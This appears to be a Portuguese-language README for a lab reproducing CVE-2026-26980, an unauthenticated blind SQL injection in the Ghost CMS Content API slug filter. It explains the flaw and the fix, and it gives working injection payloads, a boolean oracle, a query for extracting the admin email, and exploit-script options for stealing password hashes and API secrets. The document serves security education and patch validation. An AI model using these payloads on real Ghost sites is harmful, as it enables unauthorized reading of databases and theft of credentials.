
CVE-2026-26980 — Laboratório de Injeção SQL na Content API do Ghost CMS (SQLi cego não autenticado via ordenação do filtro slug)
Injeção SQL cega não autenticada no Ghost CMS através do mecanismo de ordenação do filtro de slug da Content API, permitindo leituras arbitráveis do banco de dados de qualquer instância Ghost sem credenciais.
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Crítico) |
| CWE | CWE-89 (Injeção SQL) |
| Afetado | Ghost 3.24.0 -- 6.19.0 |
| Corrigido | Ghost 6.19.1 |
| Autenticação necessária | Nenhuma (a chave da Content API é pública por design) |
| Crédito/Referências | Nicholas Carlini usando Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Aviso -- Este laboratório destina-se apenas a testes de segurança autorizados, educação e pesquisa defensiva. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
A Content API do Ghost suporta filtrar tags e posts por slug usando notação de array: filter=slug:[tag-a,tag-b]. Internamente, uma função auxiliar constrói uma instrução ORDER BY CASE para preservar a ordem solicitada dos slugs. Antes da v6.19.1, os valores de slug fornecidos pelo usuário eram interpolados diretamente neste SQL sem parametrização:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERÁVEL)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
A chave da Content API está embutida no HTML de todo site Ghost (data-key="..."), tornando esta uma superfície de ataque totalmente não autenticada.
A linguagem de consulta NQL do Ghost valida a entrada do filtro e rejeita aspas simples ou espaços brutos. No entanto, o NQL aceita valores envolvidos por aspas simples dentro da notação de array (slug:['valor']), passando as aspas como parte do literal. A regex slugFilterOrder extrai esses valores e os interpola — aspas incluídas — no SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passa as aspas como caracteres literais
Após a interpolação, o ORDER BY se torna:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
No modo SQL padrão do MySQL, || é OR e '' é falso. Isso nos dá um oráculo booleano limpo:
| Condição | Resultado do CASE | Efeito |
|---|---|---|
| VERDADEIRO | '' OR 0 OR '' = 0 | Resposta normal (HTTP 200) |
| FALSO | '' OR EXP(710) OR '' | Erro de estouro DOUBLE (HTTP 500) |
Com o oráculo estabelecido, aplica-se a extração cega padrão por busca binária:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
A sintaxe SUBSTR(... FROM pos FOR len) evita vírgulas (nas quais o slugFilterOrder divide).
| VERDADEIRO (1=1) → HTTP 200 | FALSO (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





A correção substitui a interpolação de strings por bindings parametrizados:
// CORRIGIDO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
O plugin crud.js foi atualizado para encadear bindings através do orderByRaw, e o @tryghost/bookshelf-plugins foi atualizado para 0.6.29, que adiciona suporte a bindings.
requests# Clone e entre no laboratório
git clone <este-repo> && cd ghost-cve-2026-26980
# Instale a dependência Python
pip install -r requirements.txt
# Inicie a instância Ghost vulnerável (6.18.0 + MySQL 8)
docker compose up -d
# Aguarde ~45 segundos para o Ghost inicializar e então execute o exploit
python3 exploit.py --url http://localhost:2368
# Também inicie o Ghost 6.19.1 corrigido na porta 2369
docker compose --profile fixed up -d
# Aguarde ~45 segundos e confirme que a correção bloqueia a injeção
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL do Ghost (padrão: http://localhost:2368)
--validate-fix Confirma que o alvo NÃO é vulnerável
--extract-password Também extrai o hash bcrypt do admin
--extract-api-key Também extrai o segredo da API do admin
--content-key KEY Pula a configuração, usa esta chave da Content API diretamente
-v, --verbose Mostra resultados do oráculo por consulta
====================================================
CVE-2026-26980 — Injeção SQL na Content API do Ghost CMS
====================================================
[*] Aguardando o Ghost em http://localhost:2368 ficar pronto
[*] Configurando o Ghost (admin: [email protected])
[+] Configuração concluída — estabelecendo sessão
[+] Conectado
[+] Chave da Content API: ad63c06a71457583ea58f050c1
[+] Slug âncora: news
[*] Fase 1 — verificação cega booleana
CASE WHEN 1=1: 200 (VERDADEIRO)
CASE WHEN 1=0: 500 (FALSO)
[+] Oráculo booleano confirmado — VULNERÁVEL
[*] Fase 2a — extraindo email do admin
Medindo o comprimento do email do admin... 21 caracteres
Extraindo: [email protected]
[+] Email: [email protected]